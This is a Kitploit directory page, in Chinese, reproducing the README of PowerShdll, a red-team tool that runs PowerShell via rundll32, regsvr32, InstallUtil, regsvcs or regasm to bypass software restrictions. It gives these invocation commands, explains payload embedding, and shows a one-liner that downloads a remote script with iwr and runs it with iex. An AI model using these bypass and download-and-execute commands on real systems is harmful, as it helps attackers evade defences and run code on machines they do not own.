Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PowerShdll — 使用rundll32运行PowerShell。绕过软件限制。 | Kitploit
工具/GitHubGitHub/p3nt4/powershdll
防御工具Payload生成代码分析IDS/IPS规避渗透测试红队
GitHubp3nt4/powershdll

PowerShdll

使用rundll32运行PowerShell。绕过软件限制。

查看仓库
1.8k254385年前Kitploit 审核通过
分享

PowerShdll

仅使用dll运行PowerShell。

无需访问powershell.exe,因为它使用PowerShell自动化dll。

PowerShdll可通过rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe或以独立可执行文件运行。

dll模式:

Rundll32:

Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h      Display this message
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i      Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output

替代方案(感谢SubTee提供的这些技术):

1. 
    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4. 
    regsvr32 /s  /u PowerShdll.dll -->Calls DllUnregisterServer
    regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer

exe模式

Usage:
PowerShdll.exe <script>
PowerShdll.exe -h      Display this message
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console (Default)

嵌入载荷

可通过修改common.cs文件中start方法内的"payload"变量来嵌入载荷。如果嵌入了载荷,所有其他参数将被忽略,并在运行PowerShdll时执行载荷。

示例

运行base64编码脚本

rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

注意:Empire stagers需要使用[System.Text.Encoding]::Unicode解码

下载并运行脚本

rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

需求

  • .Net v3.5(dll模式)
  • .Net v2.0(exe模式)

已知问题

某些错误似乎不会在输出中显示。这可能会造成困惑,例如Import-Module等命令在失败时不会输出错误信息。 请确保命令输入正确。

在dll模式下,交互模式和命令输出依赖于劫持父进程的控制台。如果父进程没有控制台,请使用-n开关以不显示输出,否则应用程序会崩溃。

由于Rundll32处理参数的方式,在开关和参数之间使用多个空格字符可能会导致问题。脚本内部的多余空格没有问题。

免责声明

本项目面向安全研究人员和渗透测试人员,仅应在系统所有者批准的情况下使用。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    708
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    500
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    398
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    341
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    259
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    257

探索所有工具

浏览我们的工具集合

查看所有工具 →